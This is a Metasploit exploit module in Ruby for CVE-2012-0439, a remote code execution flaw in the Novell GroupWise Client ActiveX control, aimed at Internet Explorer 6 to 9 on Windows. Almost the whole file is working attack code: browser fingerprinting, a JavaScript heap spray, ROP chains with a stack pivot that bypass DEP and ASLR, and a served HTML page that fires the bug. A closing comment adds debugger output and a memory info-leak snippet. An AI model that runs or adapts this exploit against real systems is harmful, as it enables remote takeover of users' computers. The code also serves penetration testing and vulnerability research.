317 lines
11 KiB
Ruby
317 lines
11 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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#include Msf::Exploit::Remote::BrowserAutopwn
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#
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#autopwn_info({
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# :ua_name => HttpClients::IE,
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# :ua_minver => "6.0",
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# :ua_maxver => "9.0",
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# :javascript => true,
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# :os_name => OperatingSystems::WINDOWS,
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# :rank => NormalRanking,
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# :classid => "{601D7813-408F-11D1-98D7-444553540000}",
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# :method => "SetEngine"
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#})
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def initialize(info={})
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super(update_info(info,
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'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",
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'Description' => %q{
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This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
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ActiveX. Several methods in the GWCalServer control use user provided data as
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a pointer, which allows to read arbitrary memory and execute arbitrary code. This
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module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
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JRE6 needs to be installed to achieve ASLR bypass.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod <rgod[at]autistici.org>', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-0439' ],
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[ 'OSVDB', '89700' ],
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[ 'BID' , '57658' ],
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[ 'ZDI', '13-008' ],
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[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'Space' => 1040,
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# gwcls1.dll 12.0.0.8586
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ],
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[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jan 30 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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# Land the payload at 0x0c0c0c0c
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case my_target
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when targets[7]
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# IE 9 on Windows 7
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js = %Q|
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_random_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset_length = #{my_target['Offset']};
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for (var i=0; i < 0x1000; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length);
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var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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else
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# For IE 6, 7, 8
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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end
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def stack_pivot
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pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
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pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
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pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
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pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
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return pivot
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
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jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
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rop_payload << jmp_shell
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rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
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rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
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rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
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rop_payload << stack_pivot
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rop_payload << code
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else
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print_status("Using JRE ROP")
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rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
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jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
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rop_payload << jmp_shell
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rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
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rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
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rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
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rop_payload << stack_pivot
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rop_payload << code
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end
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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p = get_payload(my_target, cli)
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js = ie_heap_spray(my_target, p)
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trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200
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html = %Q|
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'>
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</object>
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<script>
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target.SetEngine(0x0c0c0c0c-0x20);
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setInterval(function(){#{trigger}},1000);
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</script>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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* Remote Code Exec
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(240.8d4): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
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eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
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eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
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gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:
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10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=??
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.text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20
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.text:103BDDEF test esi, esi
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.text:103BDDF1 jnz short loc_103BDE17
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.text:103BDDF3 cmp [eax+426h], esi
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.text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil?
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.text:103BDDFB mov ecx, [ebp+arg_8]
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.text:103BDDFE mov edx, [ebp+arg_4]
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.text:103BDE01 push ecx
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.text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it
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.text:103BDE08 push edx
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.text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it
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.text:103BDE0F push ecx
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.text:103BDE10 call edx // Win!
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* Info Leak
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// Memory disclosure => 4 bytes from an arbitrary address
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// Unstable when info leaking and triggering rce path...
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target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
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var leak = target.GetMiscAccess();
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alert(leak);
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=end |